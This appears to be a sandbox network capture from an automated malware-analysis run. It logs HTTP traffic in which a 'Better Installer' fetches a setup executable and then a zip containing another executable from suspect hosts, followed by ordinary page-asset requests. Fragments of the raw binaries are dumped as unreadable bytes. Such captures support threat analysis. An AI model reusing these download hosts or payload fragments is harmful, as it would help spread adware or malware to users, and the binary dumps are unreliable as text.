.I.@#..Y#....]. .....]...eM....#..Zp..`.....l"....<..Q....V.2.~....
......S..9...nf..(K!..Q......,.....P....BO{0Q.....N....".M.....(m]....
._.WW.."...B.h...Bn.Pa."V...%....wwQ...g,j0'...w..].....\..Z........n.
1..k...Q...qI.jD1..q..r.h5._..\_)..RQ....RC.7.'..:../.~R.....y.jI&<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1290012

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 09 Feb 2015 16:46:32 GMT

Accept-Ranges: bytes

ETag: "ef7a73f58744d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:02 GMT

Content-Range: bytes 0-1290011/1290844

X-Cache: Miss from cloudfront

Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hMcsm5cFjk8ka1pJCOLjip2vypasPQXoVzQzdH1lPJPEHxPIx-9Kfw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inipegcc.com

Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Tue, 10 Feb 2015 03:59:24 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.14p1

Location: hXXp://VVV.inipegcc.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip

0......

GET /files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inipegcc.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:24 GMT

Content-Type: application/zip

Content-Length: 444903

Last-Modified: Fri, 06 Feb 2015 10:41:31 GMT

Connection: keep-alive

Accept-Ranges: bytes
PK.........ÿ.X..............422.db......>p.lOz....<..A#.<y.
...\Y...7a.....V0YKW.zx....(....N.J8...t.J.-Q..C$....G.!;Q`....;..lOJ?
..........\C..D2..^..^.Y.m.......N..(1...p1...b. 0.....\D...g\.q...}..
[email protected].\a.....hh...;.....]......K.V.....uj.;y9e.EJ.A./.......
..j890vo19PK..........CF.1..T....n......wpm_v20.0.0.1714_0204.exe..Sp,
..?~...m........b..m..m.v....|.v.z~..9. ...g....~.........k9.y....^,..
v..f'F....]..... /.y7*....5Q...Zh?j...5Nd...P,.'.q.N.......V..A.A.....
...bQ.G.e.....?......../.]R..Mf%.q......g.0...... .yIH.r.......y...>
;I_..........T...VY..%QRE._....(......-j..K.Dv........4....N...z...".K
.I.;..$i..........$!3.. .i.!..-.......jy?....g.&...F.LZ9.W.4......y...
E...Et.<00.<.d..V..o..5...-?..(.......B..4.wn...1^.w...V.*.w..s.
...?c....#5....!J..[85T.u%...........dW5;!*.....zQY....8X....c...J.P/.
.......oUh.n.t..'.*d..?.].p/.......O-..y..[Q |...Xv~.....,...........u
..^.Ve.V.l../.2..ef....G(HR.....a....... ..T{}x.....w.-T...........2..
.a.I.rE...a....z........i...]..>N./....a.......9.......i..}t.w.s^..
...w..=.gP.......I.?...HM.....}n..a.........Y-.'/|.zq{.B..s.l.....:...
........E......2.F..]_.!^.i^.......u....k_.../.qj.. 7.K.[.^?..p|.rx)..
.^p.C................t*....:H....m..0,..9P.,x"^D..>....(..j.......y
......-....".1e@....!.b..h.tV.X...D..... ...MB.....wf..O......r.....NB
E..3....&.3.#...]....%.`.&5{Q..R z.z..\{.h....G.\e^_......z....r.HO~K.
.'9|....z.s..S..d. ...2.D^.."..U_.4..l^.V.}A...K..v......B .P....wJ.3{
-...3"......w%.[..:)..s..U..f.B..n\.G.....q.f0).....n.?... ..,.\..<<< skipped >>>

GET /css/style.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: text/css

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 10 Feb 2015 04:30:10 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
53f.............X.n.8.=._..1....%.8../s.o.(..9.D..;I.....&jq...4.R.X.{
....$.Z......f.o3JxUN.7w3....x....V...g.x%..UF..R.c]$G%............^..
...b...qvUQU.:Y......K.}/k.......|..1.....n.-S|.8#......l......../..B&
gt;'...#.]../.:!.w.7/......g^.C....3...J...|.e.b...=....2...._...wp...
7....j....I.ee.a.L..{3Y7/....d^....Z.........f6.L..jv.....ql.mA-...Dau
......x.^...........8......:.l..u]1x..7`Z....5.5.`...?.n...-..d.)..)F.
...z..n......"3.Bh...E.r....Nl.W..R%...k..I.... 49`...{ue>.'....L..
...........c.*iN.......?....L.B..%... ...1.b...._....S`.9..S.....B....
.2y.....`.....Zugx.:O)}........C.?]....%......(4...d...... ..0./.!.S..
%.%...d...f.b.J.i..-.][email protected]>0"..(
....L./...4[..;n.x..=.(..A...P.T..AD.X .\x......D.Gq6&p)x.b._...7..D..
.''....C..jA,.......Q..7.. #..3.{...1..p..:..Y....P...0g ..&.......k{.
E....JV.......=..y:[email protected].. `.[.\t"..g8...b*X..aZ...\...'.<Z
/........a..0.v.n..4|.......G.S. D..g7..;.....m./.U..j}`..~....yP...#"
....3;T%.g.1....Y^B.....J.........|..:.s.5.l...C....M.W..fk.......c...
.K..a..}."......n...#....._.iV....u.-d..f...:=..|..T..Nr...E.P6.hK{7..
.r...#=.P..T.6.t...S....x......Oaq........#..:9....5Xa.q{..I!........8
.Z)..BQ.x..?6..{^.<Q...|[email protected].}w...e..!..........(....3..P
..6...M.t..t.Z8%....9.....5...o.H.....P.......c..p..CTu..~..[..PP.....
...... ....la..5 bv.@......|.......0......
<<< skipped >>>

GET /css/lightbox.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: text/css

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 10 Feb 2015 04:30:10 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
487.............WM..6...W...$..._k.h.o...$.6.....(.0%.$.]o...!)....|..
...E.g...7.....A..r]Ob)=F.........7zW.<..`....!TrI..E.p$9. ...*^...
w....}uh........R...!*..h.~..1....p!S.r. ...<U...[....1U..W.....>
;.uw.....%..................P .g..m......m........r0............%.....
..IqN..<f..&.e.}B......x.....p...l.$..H"hj .6. ........{:.)n.g&.*4.
W\.....-..7Y....q..D_.e..XrY.p((. ...>q. A.V.`*.....|_$N.......x...
.^9.!e...q....v..B.EF!u>.q....U....8.{...5.....W..7.....8!?[..N?q..
...........:.t.....%4.......T..<s.k.xR...[B.im.(..&.....y...`.R...r
.enB.B.L.b...=......G.$...Q.......@9h..J.IB.L..NE.....C.cH....m.W.o...
.........-G.....>.yy....5C.MX.......rk..bl...B_......51^..e.e.. .9.
xpW....k......E.T.M...}.'X..,x..j.%Y.'.|...'....y.<n....y.........]
}.....o....H...wA..z..h.8.[.......\7PK."..]'..C...M.-]J.....J.X..w..mq
...R..j.b.o..S{xB....e......E....... .. %.gG...........&..3-.^..4j.l..
t)..%(..C. .W....K%..P..6...t...p..Kej..oW#E=.*Y.=.\. ........v...s...
..p}K3B..03W{.._io.....]...>.*Q..~..Z..........62$..Pv&.<....!..
xm..l.....m'..vC3./b\.......%}...f.y;.v.Yry...}.r.#V..yTqf.!SIC31....b
.....v=..H.|..C.b.l0`\.v.f.uU..4......w....B.O^.....E..^H]d%.A..T?F..)
4........0......


GET /js/lightbox.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 10 Feb 2015 04:30:10 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
bde.............Zyo.......SUXJ..JR..:....t..q..X.A.P.H..".<|..w....
K...N`.3..y...h...4^o.ev....O...7.4........A....,w.........H..a...^g9.
f9gq...mP.Y:g.q...#...Z...7..."Q../F`$.i.#[email protected].....(.<^V
D..].`,....o..g..D..b..Y.h1:b..s.~YU..l.....y..A..4b...a.W.-...~......
,..e..YP...L.-...$N/.........~.AX..0:...E.....,.?ve.N ...$.....%....U.
.f.fJ./.m.q..(.o.mP..U.)..8...J2.*fb.q..b....M..4..xY. ."/.....|]-yz..
i..7>mF...fZ....';.[..p>.z..$(yQ....HP..Z..z....F..2.,[.0...e1z.
.1.x..#.H).v....e^.e..-N...xJX....$.......B].7.`M.E.oNd.8..]l. ='6....
.../9.&t"..'Y....z...V..MI.o..2..H.Gq...PK^..'...F..!{.R~.=.....v..f.j
.#.e..R.r:c..1v.c...*...>.a.....{........:V,aL.i.VtiI.....'....R.6o
..y-H......{*.:@'IV..rAB..w......a..r.j.....u.A.N?iL'..'..X<.k.b...
...JM.....yY.iS.B.....&.....#.gh.b.C=.X..e...O.k.a..0,..7p..Xr......L.
.%bjcZ.|a.........%3.J..h.h.".[4..T..9$$.n".._.......:...[f..7...^..z.
...|.....6..pt...A,4..s.rg../<.t2.k..<..5/gJb........[-......ow.
.. MP.5$0..........z..3O..].<.n<..v.. ....#..sH...... 8.Q..8L...
...QV..q..B....s7t.]7..1 ........`....V......&...H.ui. ..`..e.$....4..
P..yx,=..1-.n.h..A.#|......^*.....[..t......M.:..V..{R..$"..).?gB.m.lc
n..g.....3.|.c......Nf.o.YN..x..%.2.."_q2!..gy. .......p...}...^.y3...
.Q...p?.aN....=..a.....m.kR(N.=U#....=..Q;r........Y..y..X.!...;..m..!
..7.....6.....%...j.]!.....)V..~.. _.sTo.9..p.._r....d*!...2.F.!.$<
.4....OP..Y...~.8.....(.6....2N......=".......|.U....o........#.[..i.J
.........&....S(.M.......$o.ia.$}.C.}v8..s...U....Ca.^....l...7.. <<< skipped >>>

GET /thumbnails/banner/images/assets/1/3/13a052a6d8c62b7831aa10e2f6f37454.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: image/jpeg

Content-Length: 14828

Last-Modified: Sun, 28 Jul 2013 10:29:05 GMT

Connection: keep-alive

ETag: "51f4f271-39ec"

Expires: Tue, 10 Feb 2015 04:30:10 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......JFIF............................................................
......................................................................
..................../.u..".........................................._.
..........................!..1A."Qa..#2q...B....$3RSTUbrs....&456ctu..
.......Þ...Cde.....................................4................
......!..1AQa.."q....#B..23R...br.............?...)J.)J.)J.)J.)J.)J.)J
.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)J.)T..iJP)JP)J
P)J.j......AZR..R..R..R..R..R..R..R..R..R..R..R..R..R..R..R..R..R.M...
u.:..~....[).....R.2C.H..%e..b...Eq...3.l......v......Y.[.W.&e....~X).
5...-.........Q.W;.;..L.....g.c3.n..Ls[. ....'f..iq...[Ga.>.-1m..=a
.:..{p7.....j.u..[w;...L........Q.|.......a.u..'.v].........1]m..7Ab.P
>qU.......@<.........Rut.]..7...Y..h.....2...........O...Ht.I...
.2E>6.}..Vr.4\DJ.....0(..2.vq..r.4t.3..3X....4\6.....:..s"...`.,..p
T..fVD..Y.$...u....x.......'.v.A.K.......%s.=k).5..Z...ty.K....z=...f.
.m.h.X............wr..j....xv[...%..&...;c",.....h.....H...}R.*..(A ..
{..u.V..-:..viG9....1..LRM....pL...U...3..M..R#W..N>..... ..-j....k
..<v......ed.)Ni..,..<6.Y..a.a..ot.p.E.........n..dl..bg.H.....1
...T.._*.:'...|.t...7s.)R.)JP)J.....=...U........r<v:.>.........
..~]...=../....M..P?....9.qqn...p.]..-.2.0.i.M..e..e/2..KF.m`U.$GS..7V
GR:2..`.4._.........sj...n!.i#1I.I.x.".<n..T.e|.poR^.;..Z...9m.r...
c%.V.........X.s.#.6.|Y..2.5.,bw......3m9..Y...m`..cF..ZhcxT.0.1...t-~
..c..h..U........*.J.>.Z...9...F.v..p%...b..8.....G.......5....<<< skipped >>>

GET /thumbnails/banner/images/assets/7/f/7fb9f4ca0fa96299334c18ee76c7b68b.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: image/jpeg

Content-Length: 43783

Last-Modified: Thu, 13 Jun 2013 18:07:09 GMT

Connection: keep-alive

ETag: "51ba0a4d-ab07"

Expires: Tue, 10 Feb 2015 04:30:10 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......JFIF.............`Exif..II*.......1.......&...i...............Pi
casa............0220..................................................
......................................................................
......................................................................
.........................d...........................!.1AQ.."aq.#2....
....$3BRSTbr........%Us.......4tu.....&Cc...6De..'7EVd................
.................J.........................."2..!1ABR.3Qaq....#4Sbr...
...C.....$..cs.....D............?...q.8.....@.[.....}...`.....<....
....< .....C..x.<...(`.<1...]p.k..\.......0.q..Qp...J....Qp.K
[email protected]..\8....0.x..... '.o...~7..&..S}B7...0......q.;
.K....@. ........V. ..`...`..............n.G..%du..K......|..t.oG.4...
C.:..;7.a|HV ....-q.;.....@; .....ew..^h..;"..1'.0'D.....{.j.S......G.
...,:...Rt....z...I=..../*.w....}...Ap.M....M...fg...#b.wo.IdP..^.@.'J
....'.....a.S....C..~LK..s.b;....."xb..$.....C..*..2F....es.'MB...=.G.
1S...3..J........5.......XX,.R.....*.cV.X.@>..fU.=A!w.Q...%.&....8.
....7...?%..j8..|..&...1.].V..I..Y."...Aw!T...1.ua..*..A...J.........C
.....N.G..v-..P..-..4.".x..Y.=........S>......g...5..A.@5-.,....%..
.}.\.........8sf.....4....AE.... ...AE.....LJ....\.A...0.C....E...p...
......I...I...*c_..jt........UZ..tC..GxS.!......4.|u-..C..(5.}......4$
W[.......].-.`...&...G..L..I.8.t...r....>.&!..K.........0Z.|.......
.0Z.|........0Z.|.......`..|............v/...< g......M3.'q.....J..
[email protected].)2B.][email protected]&...4k"E5<<< skipped >>>

GET /images/4.5stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/jpeg

Content-Length: 2275

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-8e3"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C50CBA34D0FE11E2A837F7F58
4958E09" xmpMM:InstanceID="xmp.iid:C50CBA33D0FE11E2A837F7F584958E09" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.....................................!.......1"a2B34AQ.bc.............
........!..1A....a2...Qq."BR%.b#...3.$............?...3...y{....oT..w.
..W<.>V....*....e..,..X}P....O..d...<.......5MuV6.w.3....o/q$
Tb."*.[.K..J...h.....]..........\v.-I..f.$~...H.........Z.....U33\.7.J
.N.GA<-..-.....RK...L..}..........i..[.V.m.k.v.T..ze.b[.u..2...6"..
..).q....?.:.n#t&..g..`.."*.D.;.. ..1'..2...L.*....eTIW.LOtaAO.`&l<<< skipped >>>

GET /thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 514647

Last-Modified: Thu, 13 Jun 2013 17:01:53 GMT

Connection: keep-alive

ETag: "51b9fb01-7da57"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /thumbnails/icon/images/assets/e/5/e54e8c720dffffa619c3b0eacec9381a.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 53266

Last-Modified: Thu, 13 Jun 2013 17:53:06 GMT

Connection: keep-alive

ETag: "51ba0702-d012"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......sBIT....|.d.....pHYs...........~.
....tEXtSoftware.Adobe Fireworks CS5q..6....tEXtCreation Time.3/8/12bk
.... .IDATx...y.\.u/.jw.9G....c. C...;.  .&..2z..H.\..$..y....../..O|.
..I.5J.3v0F.....{.D0...f.1...61H.q.....{....=..VU..N.....].j....k..k.)
%0....../D.V..`0..F......`0.c.v.......C...`0..........`0....0....1.`..
.`0..1.;.....`.!..`0...c......`0.c.v.......C...`0..........`0....0....
1.`...`0..1.;.....`.!..`0...c......`0.c.v.......C...`0..........`0....
0....1.`...`0..1.;.....`.!..`0...c......`0.c.v.......C...`0..........`
0....0....1.`...`0..1.;.....`.!..`0...c......`0.c.v.......C...`0......
..B.S..C...g...?..g.....G..5\..B .,.....m.Jb[....- N.....a0..R}.r..1..
.w...g..".....S.....T.NF&n.f.%D.................0... .......T...'.w.).
i .e.R._a......g<eT..c9..x...(............%*.`xA.R.<...$jW......
.ih&.vaan../.LV..[...>.......M.X'.z...,.8b..e.W......8...J..`..S..Q
.......J..Ie..}z...G........D..t?..h.T....L..0..k...:p..1t.]y.....t...
...x.......y|y..../........%X9N.}.b2r..8..o..f0.....(a...H..j.R={.....
.K.....O9...W...a..16u..G..h.5.......#R...0....0... .:_.8^.......<t
x.go~.v...a7..5.9c-......R.J.B.>..b..:g./..8~....K..`..S...A.......
Ag.?......LW..g7..T"5..CxM....~.^ ..&....~cF...{[email protected]
$.N.....Qi].3q.f.s...q..H..N...Mcl.......~.....9.......S..fZ....!.....
0... .:A.x.H.....w7......'[email protected]
OF.....`.5...".j.r..........w-.S2*.0G....Q.i..R.2.._........P..=..."..
d....`..S_<...p.....\.5?...g.w....3.y.E~^)..q&.`..h.M>..~..B<<< skipped >>>

GET /thumbnails/icon/images/assets/8/3/83a4cee7a59522b93ed0ae1fa73ce8f3.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 48422

Last-Modified: Thu, 13 Jun 2013 18:07:09 GMT

Connection: keep-alive

ETag: "51ba0a4d-bd26"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................MiCCPPhotosho
p ICC profile..x..SwX...>..e.VB....l.."#[email protected]..
..H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.
. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....
ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v
.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."
...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[
..V.h..][email protected].<......%b..0..>[email protected].@...
...qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N.
...l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A......
........a.D@.$.<.B........A.T.:.............18....\..p..`........A.
..a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u
@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v..
..a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._
.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R..
.J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.
......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.
y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.
rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...
b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6.
.l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......
)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V<<< skipped >>>

GET /thumbnails/icon/images/assets/2/3/23428f8768d928d2bd45dd3b0c4d0057.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=rktlac42td4n2el89ik9ef85d3


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:11 GMT

Content-Type: image/png

Content-Length: 288086

Last-Modified: Fri, 14 Jun 2013 16:44:16 GMT

Connection: keep-alive

ETag: "51bb4860-46556"

Expires: Tue, 10 Feb 2015 04:30:11 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
